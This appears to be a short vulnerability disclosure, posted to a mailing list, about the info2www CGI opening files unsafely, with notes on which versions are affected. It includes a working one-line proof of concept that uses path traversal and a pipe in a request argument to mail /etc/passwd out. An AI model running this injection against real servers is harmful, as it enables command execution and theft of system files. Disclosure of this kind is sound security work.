Subject: Vulnerabilites in some versions of info2www CGI

Hi,

Some versions of the info2www CGI blindly open files:

$ REQUEST_METHOD=GET ./info2www '(../../../../../../../bin/mail jami </etc/passw
d|)'
$
You have new mail.
$

Trying to track down which versions of info2www have this bug and which
don't has been difficult, there are lots of variants out there, some
of which aren't vulnerable.  Instead of trying to make a list of versions
which are vulnerable I'll just say that:

 - if it has no version number, its probably vulnerable
 - the uuencoded version at CPAN is corrupt, and the one
   which the README file tells you to get is vulnerable
 - version 1.1 is vulnerable
 - version 1.2.x seem ok (but I'm no perl expert)

Apparently info2www is based on info2html and infogate, so these may
have problems too.

Niall
